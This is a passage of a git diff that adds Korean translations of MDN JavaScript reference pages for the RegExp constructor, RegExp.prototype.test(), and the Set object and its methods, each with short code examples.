+<pre class="syntaxbox notranslate">/<var>pattern</var>/<var>flags</var>
+new RegExp(<var>pattern</var>[, <var>flags</var>])
+RegExp(<var>pattern</var>[, <var>flags</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>pattern</var></code></dt>
+ <dd>정규 표현식을 나타내는 텍스트.</dd>
+ <dd>ES5부터는, 생성자 표기법에 한정하여 다른 <code>RegExp</code> 객체 혹은 리터럴을 사용할 수 있습니다. 패턴은 <a href="/ko/docs/Web/JavaScript/Guide/정규식#특수_문자_사용하기">특수 문자</a>를 포함할 수 있어서 일반적인 문자열 리터럴보다 더 넓은 범위의 값을 판별할 수 있습니다.</dd>
+ <dt><code><var>flags</var></code></dt>
+ <dd>
+ <p>정규 표현식에 추가할 플래그.</p>
+
+ <p>정규 표현식 객체를 패턴으로 제공한 경우 <code><var>flags</var></code> 문자열은 제공한 객체의 플래그를 모두 대체하며 <code>lastIndex</code>를 <code>0</code>으로 초기화합니다. (ES2015 이후)</p>
+
+ <p><code><var>flags</var></code>를 지정하지 않았으면서 정규 표현식 객체를 제공한 경우, 해당 객체의 플래그와 <code>lastIndex</code>를 복제합니다.</p>
+
+ <p><code>flags</code>는 다음 문자를 조합하여 지정할 수 있습니다.</p>
+
+ <dl>
+ <dt><code>g</code> (global, 전역 판별)</dt>
+ <dd>처음 일치에서 중단하지 않고, 문자열 전체를 판별합니다.</dd>
+ <dt><code>i</code> (ignore case, 대소문자 무시)</dt>
+ <dd><code>u</code> 플래그까지 활성화된 경우, Unicode 대소문자 폴딩을 사용합니다.</dd>
+ <dt><code>m</code> (multiline, 여러 줄)</dt>
+ <dd>시작과 끝 문자(<code>^</code>과 <code>$</code>)가 여러 줄에 걸쳐 동작합니다. 즉, 전체 입력 문자열의 맨 처음과 맨 끝 뿐만 아니라 (<code>\n</code>이나 <code>\r</code>로 구분되는) <u>각각의</u> 줄의 처음과 끝도 일치합니다.</dd>
+ <dt><code>s</code> ("dotAll")</dt>
+ <dd><code>.</code>이 줄 바꿈에도 일치합니다.</dd>
+ <dt><code>u</code> (unicode)</dt>
+ <dd><code><var>pattern</var></code>을 Unicode 코드 포인트 시퀀스로 처리합니다. (<a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a> 참고)</dd>
+ <dt><code>y</code> (sticky, 접착)</dt>
+ <dd>이 정규 표현식의 <code>lastIndex</code> 속성에 명시된 인덱스에서만 판별하고, 이전/이후 인덱스에서 판별을 시도하지 않습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="리터럴_표기법과_생성자">리터럴 표기법과 생성자</h3>
+
+<p><code>RegExp</code> 객체는 리터럴 표기법과 생성자로써 생성할 수 있습니다.</p>
+
+<ul>
+ <li><strong>리터럴 표기법</strong>의 매개변수는 두 빗금으로 감싸야 하며 따옴표를 사용하지 않습니다.</li>
+ <li><strong>생성자 함수</strong>의 매개변수는 빗금으로 감싸지 않으나 따옴표를 사용합니다.</li>
+</ul>
+
+<p>다음의 세 표현식은 모두 같은 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">/ab+c/i
+new RegExp(/ab+c/, 'i') // 리터럴
+new RegExp('ab+c', 'i') // 생성자
+</pre>
+
+<p>리터럴 표기법은 표현식을 평가할 때 정규 표현식을 컴파일합니다. 정규 표현식이 변하지 않으면 리터럴 표기법을 사용하세요. 예를 들어, 반복문 안에서 사용할 정규 표현식을 리터럴 표기법으로 생성하면 정규 표현식을 매번 다시 컴파일하지 않습니다.</p>
+
+<p>정규 표현식 객체의 생성자(<code>new RegExp('ab+c')</code>)를 사용하면 정규 표현식이 런타임에 컴파일됩니다. 패턴이 변할 가능성이 있거나, 사용자 입력과 같이 알 수 없는 외부 소스에서 가져오는 정규 표현식의 경우 생성자 함수를 사용하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-regexp-constructor', 'RegExp constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.RegExp")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/test/index.html b/files/ko/web/javascript/reference/global_objects/regexp/test/index.html
new file mode 100644
index 0000000000..07569e7eaf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/test/index.html
@@ -0,0 +1,129 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/test
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - RegExp
+ - 정규 표현식
+ - 정규식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>test()</code></strong> 메서드는 주어진 문자열이 정규 표현식을 만족하는지 판별하고, 그 여부를 <code>true</code> 또는 <code>false</code>로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-test.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>regexObj</var>.test(<var>str</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>str</var></code></dt>
+ <dd>정규 표현식 일치를 수행할 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열 <code>str</code> 중 정규 표현식이 일치하는 부분이 있으면 <code>true</code>, 아니면, <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>패턴이 문자열 내에 존재하는지에 대한 여부를 알아보고자 할 때 <code>test()</code>를 사용하세요. 일치의 위치 인덱스, 또는 일치하지 않으면 <code>-1</code>을 반환하는 {{jsxref("String.prototype.search()")}}와 달리 <code>test()</code>는 불리언을 반환합니다.</p>
+
+<p>더 느리지만 더 많은 정보가 필요하면 {{jsxref("RegExp.prototype.exec()", "exec()")}} 메서드를 사용하세요. ({{jsxref("String.prototype.match()")}} 메서드와 비슷합니다.)</p>
+
+<p><code>exec()</code>처럼, <code>test()</code>도 전역 탐색 플래그를 제공한 정규 표현식에서 여러 번 호출하면 이전 일치 이후부터 탐색합니다. <code>exec()</code>와 <code>test()</code>를 혼용해 사용하는 경우에도 해당됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="test_사용하기"><code>test()</code> 사용하기</h3>
+
+<p>문자열의 맨 처음에 <code>"hello"</code>가 포함됐는지 알아보는 간단한 예제 코드입니다.</p>
+
+<pre class="brush: js notranslate">const str = 'hello world!';
+const result = /^hello/.test(str);
+
+console.log(result); // true
+</pre>
+
+<p>다음은 일치 여부에 따라 다른 메시지를 기록하는 예제입니다.</p>
+
+<pre class="brush: js notranslate">function testInput(re, str) {
+ let midstring;
+ if (re.test(str)) {
+ midstring = 'contains';
+ } else {
+ midstring = 'does not contain';
+ }
+ console.log(`${str} ${midstring} ${re.source}`);
+}
+</pre>
+
+<h3 id="전역_플래그와_test">전역 플래그와 <code>test()</code></h3>
+
+<p>정규 표현식에 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions#플래그를_사용한_고급검색">전역 플래그</a>를 설정한 경우, <code>test()</code> 메서드는 정규 표현식의 {{jsxref("RegExp.lastIndex", "lastIndex")}}를 업데이트합니다. ({{jsxref("RegExp.prototype.exec()")}}도 <code>lastIndex</code> 속성을 업데이트합니다.)</p>
+
+<p><code>test(<var>str</var>)</code>을 또 호출하면 <code><var>str</var></code> 검색을 <code>lastIndex</code>부터 계속 진행합니다. <code>lastIndex</code> 속성은 매 번 <code>test()</code>가 <code>true</code>를 반환할 때마다 증가하게 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>test()</code>가 <code>true</code>를 반환하기만 하면 <code>lastIndex</code>는 초기화되지 않습니다. 심지어 이전과 다른 문자열을 매개변수로 제공해도 그렇습니다!</p>
+</div>
+
+<p><code>test()</code>가 <code>false</code>를 반환할 땐 <code>lastIndex</code> 속성이 <code>0</code>으로 초기화됩니다.</p>
+
+<p>이 행동에 대한 예제가 다음 코드입니다.</p>
+
+<pre class="brush: js notranslate">const regex = /foo/g; // the "global" flag is set
+
+// regex.lastIndex is at 0
+regex.test('foo') // true
+
+// regex.lastIndex is now at 3
+regex.test('foo') // false
+
+// regex.lastIndex is at 0
+regex.test('barfoo') // true
+
+// regex.lastIndex is at 6
+regex.test('foobar') //false
+
+// regex.lastIndex is at 0
+// (...and so on)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.RegExp.test")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/add/index.html b/files/ko/web/javascript/reference/global_objects/set/add/index.html
new file mode 100644
index 0000000000..622b3d876c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/add/index.html
@@ -0,0 +1,83 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Reference/Global_Objects/Set/add
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>add()</strong></code> 메서드는 <code>Set</code> 개체의 맨 뒤에 주어진 <code>value</code>의 새 요소를 추가합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.add(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에 추가할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Set</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="add_메서드_사용하기"><code>add</code> 메서드 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('어떤 문자열'); // 계속 붙일 수 있음
+
+console.log(mySet);
+// Set [1, 5, "어떤 문자열"]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>최초 정의</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">본 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 만약 당신이 데이터에 기여를 원한다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 체크아웃하고 우리에게 pull request를 보내주세요.</div>
+
+<p>{{Compat("javascript.builtins.Set.add")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/clear/index.html b/files/ko/web/javascript/reference/global_objects/set/clear/index.html
new file mode 100644
index 0000000000..3ecdb98895
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/clear/index.html
@@ -0,0 +1,76 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Set/clear
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>clear()</strong></code> 메서드는 <code>Set</code> 객체를 비웁니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.clear();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="clear()_사용하기"><code>clear()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size; // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size; // 0
+mySet.has('bar') // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.clear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/delete/index.html b/files/ko/web/javascript/reference/global_objects/set/delete/index.html
new file mode 100644
index 0000000000..a138736b46
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/delete/index.html
@@ -0,0 +1,98 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Set/delete
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메서드는 지정한 요소를 <code>Set</code> 객체에서 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.delete(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에서 제거할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소를 제거했으면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete()_사용하기"><code>delete()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Returns false. No "bar" element found to be deleted.
+mySet.delete('foo'); // Returns true. Successfully removed.
+
+mySet.has('foo'); // Returns false. The "foo" element is no longer present.
+</pre>
+
+<p>다음 예제는 <code>Set</code>에서 객체를 제거하는 방법을 보입니다.</p>
+
+<pre class="brush: js">var setObj = new Set(); // Create a New Set.
+
+setObj.add({x: 10, y: 20}); // Add object in the set.
+
+setObj.add({x: 20, y: 30}); // Add object in the set.
+
+// Delete any point with `x &gt; 10`.
+setObj.forEach(function(point){
+ if(point.x &gt; 10){
+ setObj.delete(point)
+ }
+})
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/foreach/index.html b/files/ko/web/javascript/reference/global_objects/set/foreach/index.html
new file mode 100644
index 0000000000..fbfa4963c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/foreach/index.html
@@ -0,0 +1,117 @@
+---
+title: Set.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Set/forEach
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code> 메서드는 주어진 함수를 <code>Set</code> 요소 각각에 대해 삽입 순서대로 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.forEach(<em>callback</em>[, <var>thisArg</var>]<code>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 실행할 함수. 다음 세 가지 인수를 받습니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>currentValue</code>, <code>currentKey</code></dt>
+ <dd>처리할 현재 요소. <code>Set</code>은 키를 갖지 않으므로 두 인수 모두에 값을 전달합니다.</dd>
+ <dt><code>set</code></dt>
+ <dd><code>forEach()</code>를 호출한 <code>Set</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach()</code> 메서드는 주어진 <code>callback</code>을 <code>Set</code>에 존재하는 요소에 대해 한 번씩 실행합니다. 삭제한 값에 대해선 실행하지 않습니다. 그러나 존재하되 값이 {{jsxref("undefined")}}인 경우엔 실행합니다.</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소 값</strong></li>
+ <li><strong>요소 키</strong></li>
+ <li><strong>순회 중인 <code>Set</code> 객체</strong></li>
+</ul>
+
+<p>그러나 <code>Set</code>은 키 값을 사용하지 않으므로, 처음 두 개의 매개변수 모두 <strong>요소 값</strong>을 받습니다. 이는 {{jsxref("Map.foreach", "Map")}}과 {{jsxref("Array.forEach","Array")}}에서 사용하는 <code>forEach()</code>와 동일한 형태를 유지하기 위해서입니다.</p>
+
+<p><code>thisArg</code> 매개변수를 <code>forEach()</code>에 제공한 경우 <code>callback</code>을 호출할 때 전달해 <code>this</code>의 값으로 쓰입니다. 전달하지 않으면 <code>undefined</code>를 사용하며, 최종 <code>this</code> 값은 {{jsxref("Operators/this", "함수의 <code>this</code>를 결정하는 평소 규칙", "", 0)}}을 따릅니다.</p>
+
+<p><code>forEach()</code>는 각각의 값을 한 번씩 방문하지만, 순회를 끝내기 전에 제거하고 다시 추가한 값은 예외입니다. 방문하기 전 제거한 값에 대해서는 <code>callback</code>을 호출하지 않습니다. <code>forEach()</code>가 끝나기 전 추가한 요소는 방문합니다.</p>
+
+<p><code>forEach()</code>는 <code>Set</code> 객체의 요소에 대해 <code>callback</code>을 실행만 하며 값을 반환하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Set의_내용물_기록하기"><code>Set</code>의 내용물 기록하기</h3>
+
+<p>다음 코드는 <code>Set</code>의 요소 각각을 새로운 줄에 기록합니다.</p>
+
+<pre class="brush:js">function logSetElements(value1, value2, set) {
+ console.log('s[' + value1 + '] = ' + value2);
+}
+
+new Set(['foo', 'bar', undefined]).forEach(logSetElements);
+
+// 콘솔 로그:
+// "s[foo] = foo"
+// "s[bar] = bar"
+// "s[undefined] = undefined"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.forEach")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/has/index.html b/files/ko/web/javascript/reference/global_objects/set/has/index.html
new file mode 100644
index 0000000000..016da46cfd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/has/index.html
@@ -0,0 +1,93 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Set/has
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>has()</strong></code> 메서드는 <code>Set</code> 객체에 주어진 요소가 존재하는지 여부를 판별해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>mySet</em>.has(<em>value</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><code>Set</code> 객체에서 존재 여부를 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>Set</code> 객체에 값이 존재하면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 기술적으로, <code>has()</code>는 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness#등가0_같음"><code>sameValueZero</code></a> 알고리즘을 사용해 요소의 존재 여부를 판별합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="has()_사용하기"><code>has()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.has('foo'); // true
+mySet.has('bar'); // false
+
+var set1 = new Set();
+var obj1 = {'key1': 1};
+set1.add(obj1);
+
+set1.has(obj1); // true
+set1.has({'key1': 1}); // false, 형태만 같은 서로 다른 객체의 참조이기 때문
+set1.add({'key1': 1}); // set1의 요소가 2개로 늘어남
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/index.html b/files/ko/web/javascript/reference/global_objects/set/index.html
new file mode 100644
index 0000000000..b8086f89bd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/index.html
@@ -0,0 +1,237 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Global_Objects/Set
+tags:
+ - ECMAScript 2015
+ - Global Objects
+ - JavaScript
+ - Object
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Set</code></strong> 객체는 자료형에 관계 없이 {{Glossary("Primitive", "원시 값")}}과 객체 참조 모두 유일한 값을 저장할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Set([<em>iterable</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...of">반복 가능한 객체</a>가 전달된 경우, 그 요소는 모두 새로운 <code>Set</code>에 추가됩니다. 만약 매개변수를 명시하지 않거나 <code>null</code>을 전달하면, 새로운 <code>Set</code>은 비어 있는 상태가 됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 <code>Set</code> 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Set</code> 객체는 값 콜렉션으로, 삽입 순서대로 요소를 순회할 수 있습니다. 하나의 <code>Set</code> 내 값은 한 번만 나타날 수 있습니다. 즉, 어떤 값은 그 <code>Set</code> 콜렉션 내에서 유일합니다.</p>
+
+<h3 id="값_같음">값 같음</h3>
+
+<p><code>Set</code> 내의 값은 유일해야 하기 때문에 값이 같은지 검사를 수행합니다. 이전 ECMAScript 명세에서는 검사 알고리즘이 <code>===</code> 연산자와는 다른 것이었습니다. 특히, <code>+0 === -0</code>이었지만 <code>Set</code>에서는 <code>+0</code>과 <code>-0</code>이 다른 값이었습니다. 그러나 이는 ECMAScript 2015 명세에서 변경되었습니다. {{anch("브라우저 호환성", "브라우저 호환성")}}의 "Key equality for -0 and 0"을 참고하세요.</p>
+
+<p>{{jsxref("NaN")}}과 {{jsxref("undefined")}}도 <code>Set</code>에 저장할 수 있습니다. 원래 <code>NaN !== NaN</code>이지만, <code>Set</code>에서 <code>NaN</code>은 <code>NaN</code>과 같은 것으로 간주됩니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>값이 0인 속성입니다.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd><code>Set</code> 생성자의 프로토타입을 나타냅니다. 모든  <code>Set</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Set_인스턴스"><code>Set</code> 인스턴스</h2>
+
+<p>모든 <code>Set</code> 인스턴스는 {{jsxref("Set.prototype")}}을 상속받습니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Set_객체_사용"><code>Set</code> 객체 사용</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1); // Set { 1 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add('some text'); // Set { 1, 5, 'some text' }
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // o와 다른 객체를 참조하므로 괜찮음
+
+mySet.has(1); // true
+mySet.has(3); // false, 3은 set에 추가되지 않았음
+mySet.has(5); // true
+mySet.has(Math.sqrt(25)); // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // set에서 5를 제거함
